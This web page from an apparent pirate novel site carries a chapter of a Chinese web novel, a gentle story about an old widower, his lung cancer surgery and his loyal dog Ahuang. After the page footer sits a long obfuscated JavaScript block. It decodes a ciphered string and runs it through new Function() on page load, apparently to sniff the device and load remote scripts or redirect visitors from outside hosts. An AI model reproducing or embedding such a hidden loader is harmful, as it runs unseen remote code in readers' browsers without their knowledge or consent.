首页
第0046章咳嗽声里的冬天
返回
关灯 护眼:关 字号:小

第0046章咳嗽声里的冬天

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第0046章咳嗽声里的冬天(第1/2页)
    第一场霜降下来的时候,老李的咳嗽开始变本加厉。
    起初只是清晨起床时咳几声,后来变成夜里也咳,咳得整张脸憋得通红,胸口像拉风箱一样起伏。阿黄睡在床边的旧毯子上,每次老李咳醒,它都会立刻爬起来,凑到床边,用湿漉漉的鼻子去碰老李的手,喉咙里发出呜呜的担忧声。
    “没事……咳咳……没事。”老李总是这样说,手摸着阿黄的脑袋,像是在安慰它,也像是在安慰自己。
    但怎么可能没事。
    去医院检查是儿子在电话里催了三次后,老李才去的。儿子说要回来陪他,老李说不用:“你工作忙,来回一趟得好几天。我自己能行。”
    其实不是不想儿子回来,是怕。怕儿子看见他现在的样子,怕儿子说他“怎么不早点来医院”,更怕检查结果出来,需要人照顾,成为儿子的负担。
    阿黄不能陪他去医院,被关在家里。老李出门前,阿黄扒着门框,眼神可怜巴巴的,像是知道这一去会发生什么不好的事。
    “在家好好待着,我很快就回来。”老李蹲下来,揉了揉阿黄的耳朵,“听话。”
    阿黄还是扒着门,尾巴低垂着。
    老李狠心关上门,隔着门板听见阿黄在屋里焦急地转圈,爪子刮擦地面的声音。他站了一会儿,听见里面传来低低的呜咽,才转身离开。
    医院里人很多,消毒水的味道刺鼻。老李挂了呼吸内科的号,坐在走廊的长椅上等。周围大多是老人,有子女陪着,递水递纸巾,轻声细语地询问。
    老李摸了摸口袋,掏出一个塑料袋,里面装着两个馒头——那是他的午饭。早上出门前蒸的,还温着。
    叫到他的号时,已经快中午了。
    医生是个四十多岁的中年男人,戴着眼镜,说话温和:“老人家,哪里不舒服?”
    “咳嗽,咳了快两个月了。”老李说,“夜里咳得厉害,有时候……咳咳……有时候喘不过气。”
    医生让他做了几项检查:血常规、胸片、肺功能。老李拿着单子在各个科室之间穿梭,抽血的时候,护士看他一个人,多问了一句:“您家里人呢?”
    “都忙。”老李笑笑,“我自己能行。”
    其实不是能行,是只能这样。
    胸片出来得最快。医生看着片子,眉头微微皱起:“老人家,您这肺……有些问题。建议做个CT,看得更清楚。”
    老李心里咯噔一下:“严重吗?”
    “先做检查,别紧张。”医生开单子,“您这咳嗽时间不短了,得查清楚病因。”
    CT要预约,排到了三天后。老李拿着预约单走出医院时,天已经阴了下来,像是要下雨。
    他站在医院门口,看着来来往往的人。有年轻人扶着老人慢慢走,有孕妇挺着肚子由丈夫搀着,有小孩哭闹着不肯打针,被父母轻声哄着。
    每个人都有自己的牵挂,也有牵挂自己的人。
    老李想起阿黄。这会儿它应该还在家里等着,也许趴在门口,耳朵竖着,听着外面的动静,盼着他回来。
    他忽然觉得,自己并不是真的一个人。
    至少,还有阿黄在等他。
    回到家时,天已经擦黑。老李掏出钥匙开门,门刚开了一条缝,阿黄就挤了出来,围着他转圈,尾巴摇得像要飞起来,嘴里发出激动的声音。
    “好了好了,回来了。”老李关上门,把包放下,蹲下来抱住扑上来的阿黄。
    阿黄舔他的脸,舔他的手,闻他身上的味道——医院消毒水的味道让它不安,它闻了又闻,确定老李还是那个老李,才稍微平静下来。
    “饿了吧?”老李站起身,往厨房走。
    阿黄跟在他脚边,寸步不离。
    老李简单煮了碗面条,加了个鸡蛋。盛了一小碗给阿黄,放在地上。阿黄却不动,抬头看着他,像是在等他先吃。
    “吃吧,我这儿有。”老李端起碗,坐在厨房的小凳子上。
    阿黄这才低头吃起来,但吃几口就抬头看看他,确认他还在。
    夜里,老李咳得更厉害了。
    这一次不是干咳,而是带着痰的、从胸腔深处翻涌上来的咳嗽。每咳一次,整个身体都在颤抖,额头冒出冷汗。阿黄急得在床边打转,一会儿用爪子扒床沿,一会儿跳起来想上床,都被老李摆手制止了。
    “别……咳咳……别上来,脏。”老李喘着气说。
    他起身去厕所吐痰,阿黄跟在身后,寸步不离。昏黄的灯光下,老李看见痰里有血丝。
    心里一沉。
    回到床上,他久久无法入睡。阿黄趴在床边,眼睛在黑暗中亮晶晶的,一直看着他。
    “阿黄啊。”老李轻声说,“我要是……要是不在了,你怎么办?”
    阿黄听不懂,只是把头往前伸了伸,蹭了蹭他垂在床边的手。
    老李摸着它温热的脑袋,心里酸楚。
    三天后的CT检查,结果是老李自己去取的。
    医生看完片子,沉默了一会儿,才说:“老人家,您这情况……不太好。肺上有阴影,需要做活检确认性质。”
    老李听懂了潜台词:“是……癌吗?”
    “还不确定。”医生斟酌着词句,“可能是炎症,也可能是……别的。活检是最准确的。”
    活检要住院。老李问:“不住院行吗?”
    “不住院风险大,万一大出血……”医生看着他,“您还是跟家人商量商量。”
    老李点点头,拿着诊断书走出诊室。
    他没有立刻回家,而是坐在医院花园的长椅上,看着来来往往的人。阳光很好,照在身上暖洋洋的,可老李觉得冷,从骨头缝里透出来的冷。
    他想给儿子打电话,手机掏出来,又放回去了。
    儿子在南方,工作刚稳定,媳妇怀着孕,下个月就要生了。这时候告诉他,他一定会赶回来,可回来又能怎样?除了让他担心,什么也改变不了。
    老李想起妻子走的时候。也是癌症,查出来就是晚期,从确诊到走,不到半年。那时候儿子还在上大学,赶回来见了最后一面。妻子拉着儿子的手说:“照顾好你爸。”
    儿子哭着点头。
    可现在,儿子有了自己的家,自己的责任。老李不想成为那个拖累。
    他在长椅上坐了很久,久到太阳西斜,身上那点暖意也消散了。
    站起身时,腿有些麻。他慢慢往外走,路过医院门口的水果摊,停了一下,买了两个苹果。一个给自己,一个给阿黄。
    回到家,阿黄一如既往地扑上来。
    老李抱住它,把脸埋在阿黄毛茸茸的脖颈间。阿黄身上的味道,混合着阳光、泥土、还有一点狗粮的香气,是家的味道。
    “阿黄。”老李声音闷闷的,“我要住院几天。”
    阿黄舔他的耳朵。
    “你在家要乖乖的,我让邻居王奶奶来喂你。”老李继续说,像是在说服自己,“我很快就回来。”
    阿黄似乎察觉到了什么,不再欢快地摇尾巴,而是安静地趴在他怀里,任由他抱着。
    那天晚上,老李做了很多准备。
    他把狗粮分装成小袋,每一袋是一天的量。在碗里加满了水。把阿黄最喜欢的玩具——一个已经破了的布偶兔子,放在狗窝旁边。又把家里的钥匙多配了一把,准备明天交给隔壁的王奶奶。
    做完这些,他坐在藤椅上,阿黄趴在他脚边。
    院子里很安静,能听见远处马路上偶尔驶过的车声。月光清冷,洒在枯黄的草地上,像是铺了一层霜。
    “阿黄啊。”老李开口,声音在寂静的夜里格外清晰,“我要是回不来了,你就……你就跟王奶奶好好过。她虽然年纪大了,但心善,会对你好的。”
    阿黄抬起头,眼睛在月光下亮得像两盏小灯。
    “不过我还是会回来的。”老李又说,像是在给自己打气,“一定回来。”
    他弯腰,把阿黄抱到腿上。阿黄很重,但他抱得动。阿黄温顺地趴着,把下巴搁在他胳膊上。
    一人一狗,在月光下坐了许久。
    第二天一早,老李去了王奶奶家。
    王奶奶七十多了,一个人住,儿女都在外地。平时老李做了好吃的,会给她端一碗过去;她包了饺子,也会给老李送一盘。邻里之间,互相照应。
    听老李说要住院,王奶奶立刻说:“你放心去,阿黄交给我。我一天喂它三顿,带它遛弯儿。”
    “麻烦您了。”老李把钥匙递过去,“它早上六点左右要出门大小便,晚上八点再遛一次。狗粮我分装好了,一天一袋。水要常换。”
    “知道知道。”王奶奶接过钥匙,“你安心治病,别的别操心。”
    老李又拿出两百块钱:“这是阿黄的伙食费。”
    王奶奶推回去:“你这是干什么?邻里邻居的,帮个忙还要钱?快收回去!”
    推让了半天,老李只好作罢。
    回到家,阿黄似乎预感到了什么,一直跟着他,他去哪儿它就跟到哪儿,连上厕所都要守在门口。
    老李收拾了几件换洗衣服,洗漱用品,装进一个旧旅行袋。想了想,又往包里塞了张阿黄的照片——那是去年夏天在护城河边拍的,阿黄吐着舌头,眼睛眯成一条缝,看起来很傻,但很可爱。
    “阿黄,我走了。”老李蹲下来,最后一次抱了抱它。
    阿黄舔他的脸,舔他的脖子,像是在做标记,又像是在挽留。
    老李狠心站起来,拎起包往外走。阿黄跟到门口,被老李拦住了:“在家待着,听话。”
    他关上门,听见里面传来爪子挠门的声音,还有压抑的呜咽。
    老李站在门外,眼睛发涩。
    去医院的路上,他一直在想阿黄。想它现在在做什么,是不是还趴在门口等,是不是以为他又像以前一样,只是出去买个菜,很快就回来。
    住院手续办得很顺利。老李被安排在呼吸内科三人间,靠窗的床位。同病房的另外两个病人,一个也是老人,由女儿陪着;另一个是中年男人,妻子在照顾。
    (本章未完,请点击下一页继续阅读)第0046章咳嗽声里的冬天(第2/2页)
    老李一个人,显得有些突兀。
    护士来抽血、量血压,问:“您家属呢?”
    “一会儿就来。”老李撒了谎。
    其实不会来。儿子不知道他住院,知道了也赶不回来。朋友……他这个年纪,朋友要么不在了,要么自己也一身病,顾不上别人。
    只有阿黄。
    可阿黄不能来。
    活检安排在第二天上午。前一晚,老李几乎没睡。隔壁床的老人夜里咳得厉害,中年男人打呼噜震天响。病房的灯一直亮着,走廊里不时有护士的脚步声。
    老李睁着眼睛看着天花板,想阿黄。
    想它现在睡了没有,有没有好好吃饭,王奶奶带它遛弯时它乖不乖。
    想它会不会以为他不要它了。
    想到这里,老李心里一痛。
    第二天一早,护士来给他做术前准备。空腹,不能喝水,老李嘴唇干得起皮。被推进手术室时,他看着头顶苍白的天花板,忽然有点害怕。
    不是怕疼,是怕万一……万一出不来,阿黄怎么办?
    麻药打进去,意识逐渐模糊。最后的念头是:阿黄,等我。
    醒来时已经在病房了。胸口有些闷,呼吸时有点疼。护士说活检很顺利,取了组织送去病理科,要等三五天才能出结果。
    “这几天好好休息,别咳嗽,别用力。”护士叮嘱。
    老李点点头。
    接下来的几天格外漫长。
    同病房的病友都有家人轮流陪护,送饭送汤,嘘寒问暖。老李一个人,吃饭靠医院食堂,喝水自己倒。有时候水壶空了,他想下床去打水,稍微一动胸口就疼,只好按铃叫护士。
    护士忙,不能总来。有次他想上厕所,按了铃半天没人来,只好自己慢慢挪下床,扶着墙一点点往厕所走。走到一半,胸口一阵剧痛,他靠在墙上,额头冒出冷汗。
    “老人家,您没事吧?”隔壁床的女儿看见了,赶紧过来扶他。
    “没事……谢谢。”老李摆摆手。
    那女儿扶他去了厕所,又在门口等着,扶他回床上。老李连声道谢,心里却有些不是滋味。
    人老了,最怕的就是这种时候——需要帮助,却找不到人。
    晚上,他给王奶奶打了个电话。
    电话响了很久才接通,那头传来王奶奶有些喘的声音:“喂?”
    “王奶奶,是我,老李。”
    “哦哦,老李啊。”王奶奶声音大了些,“你在医院怎么样?”
    “还好。阿黄……阿黄怎么样?”
    “阿黄啊。”王奶奶顿了顿,“它挺好,就是……就是有点想你。”
    老李心里一紧:“它怎么了?”
    “也没怎么,就是不太爱吃饭。”王奶奶说,“我喂它,它吃几口就不吃了。遛弯儿也不积极,走到一半就往回拽绳子,像是要回家等你。”
    老李鼻子一酸。
    “我跟它说了,你过几天就回来,它好像听不懂。”王奶奶叹气,“狗啊,通人性。它知道你不在了,就不高兴。”
    “麻烦您多费心了。”
    “不麻烦。”王奶奶说,“你要不……要不跟它说句话?我让它听听你的声音。”
    老李愣了一下:“它能听懂吗?”
    “试试呗。”
    过了一会儿,电话那头传来王奶奶的声音:“阿黄,来,你爸爸要跟你说话。”
    接着是阿黄急促的呼吸声,还有爪子扒拉地面的声音。
    “阿黄。”老李开口,声音有些哽咽,“是我。”
    电话那头传来一声短促的叫声,接着是更加急促的呼吸声,像是在寻找声音的来源。
    “阿黄,听话,好好吃饭,好好睡觉。”老李说,“我过几天就回去,带你遛弯儿,给你买肉吃。”
    阿黄叫了一声,声音里带着委屈。
    “乖。”老李闭上眼睛,“等我。”
    挂断电话后,老李久久不能平静。
    他想起三年前那个春天,阿黄跟在身后,小心翼翼又满怀期待的样子。想起这三年来,阿黄带给他的所有温暖和陪伴。
    他不能有事。
    为了阿黄,他也要好好活着。
    病理结果出来的那天,儿子打来了电话。
    老李犹豫了一下,还是接了。
    “爸,你怎么不接电话?”儿子的声音有些急,“我打了好几个。”
    “手机静音了。”老李撒了谎,“怎么了?”
    “没怎么,就是问问你最近怎么样。咳嗽好点没?”
    “好多了。”老李说,“你别担心,好好工作,照顾好小玲(儿媳妇)。”
    父子俩聊了几句家常,儿子说小玲下个月预产期,到时候他请假回来,带老李一起去南方住一段时间。
    “好。”老李嘴上应着,心里却在想活检结果。
    挂了电话没多久,医生来了。
    “老人家,结果出来了。”医生拿着报告单,“是……肺腺癌,早期。”
    老李的心沉了下去,但又升起一丝希望——早期,意味着还有治。
    “需要手术。”医生说,“把病灶切掉。您这个年纪,手术有风险,但如果不做,发展下去会更麻烦。”
    “做。”老李几乎没犹豫。
    “那您跟家人商量一下……”
    “不用商量,我做。”老李说,“我自己签字。”
    手术定在一周后。这一周里,老李积极配合治疗,按时吃药,努力吃饭,哪怕没胃口也强迫自己吃下去。
    他要活下去,为了阿黄。
    手术前一天,他又给王奶奶打了电话。
    这次阿黄的反应更激烈了,对着电话叫个不停,像是要把老李从电话那头叫回来。
    “阿黄,我明天要做手术。”老李轻声说,“如果……如果我没挺过去,你就跟王奶奶好好过。别想我。”
    阿黄不叫了,电话里只剩下它粗重的呼吸声。
    “如果我能挺过去。”老李继续说,“我就回去,咱们还一起晒太阳,一起遛弯儿,一起过日子。”
    阿黄发出一声低低的呜咽。
    “等我。”老李说完这两个字,挂了电话。
    那一晚,他梦见了阿黄。
    梦里,阿黄还是条小狗,在院子里追着自己的尾巴转圈。阳光很好,妻子在晾衣服,回头冲他笑:“老李,你看阿黄,傻乎乎的。”
    他也笑:“是挺傻。”
    醒来时,枕头湿了一片。
    手术很顺利。
    醒来时,老李第一眼看见的是医院苍白的天花板,第二眼看见的是儿子焦急的脸。
    “爸,你醒了!”儿子握着他的手,“感觉怎么样?”
    老李张了张嘴,喉咙干得发不出声音。
    儿子赶紧用棉签蘸水,润湿他的嘴唇:“别说话,医生说你手术很成功,病灶切干净了。”
    老李点点头,闭上眼睛。
    儿子是从南方赶回来的,接到医院电话时正在开会,直接买了最近的航班飞回来。儿媳妇还有一个月就要生了,本来不该奔波,但听说老李做手术,还是跟着一起来了。
    “爸,你怎么不早告诉我?”儿子声音里带着责备,更多的是心疼。
    老李睁开眼,用口型说:“怕你担心。”
    “我是你儿子!”儿子眼睛红了,“你什么事都不跟我说,我还是你儿子吗?”
    老李伸出手,拍了拍儿子的手背。
    在医院又住了一周,老李可以下床走动了。儿子想接他去南方养病,老李拒绝了。
    “我要回家。”他说,“阿黄在等我。”
    儿子知道阿黄,视频里见过,但没见过真狗。听老李说要回家,他叹了口气:“那我送你回去,住几天再走。”
    出院那天,天气很好。
    老李坐在儿子租的车里,看着窗外飞速后退的街景。离开家不过半个月,却像离开了很久。
    车子驶进熟悉的巷子,停在院门口。
    老李推开车门,脚刚落地,就听见院子里传来疯狂的吠叫声。接着是爪子挠门的声音,一下又一下,急切又激动。
    “阿黄。”老李喊了一声。
    门内的吠叫停了,取而代之的是呜呜的哀鸣,像是在哭。
    儿子掏出钥匙开门,门刚开一条缝,一道黄色的影子就冲了出来,直扑老李。
    老李被扑得后退一步,差点摔倒,被儿子扶住。阿黄不管不顾,前爪搭在他身上,拼命舔他的脸,舔他的手,喉咙里发出又像哭又像笑的声音。
    “好了好了,我回来了。”老李抱住它,眼泪终于掉下来。
    阿黄也在颤抖,整个身体都在抖,像是激动,又像是委屈。它把脑袋埋在老李怀里,发出长长的、满足的叹息。
    王奶奶从屋里出来,看见这一幕,眼睛也红了:“这狗啊,天天趴在门口等,吃饭也不香,遛弯儿也不积极。这下好了,你回来了,它也该高兴了。”
    老李连声道谢。
    儿子站在一旁,看着父亲和狗相拥的画面,心里五味杂陈。他第一次如此真切地感受到,父亲和这条狗之间的感情,比他想象的深得多。
    那天晚上,老李睡得很踏实。
    阿黄趴在他床边,像是怕他再消失,一整夜都睁着眼睛守着他。偶尔老李翻身,它就会立刻抬起头,确认他还在,才又趴下。
    月光透过窗帘的缝隙洒进来,照在一人一狗身上。
    老李伸手,摸了摸阿黄的头:“睡吧,我不走了。”
    阿黄用鼻子蹭了蹭他的手,终于闭上眼睛。
    窗外,寒风呼啸,冬天真的来了。
    但屋里,很暖。
    (第0046章·完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();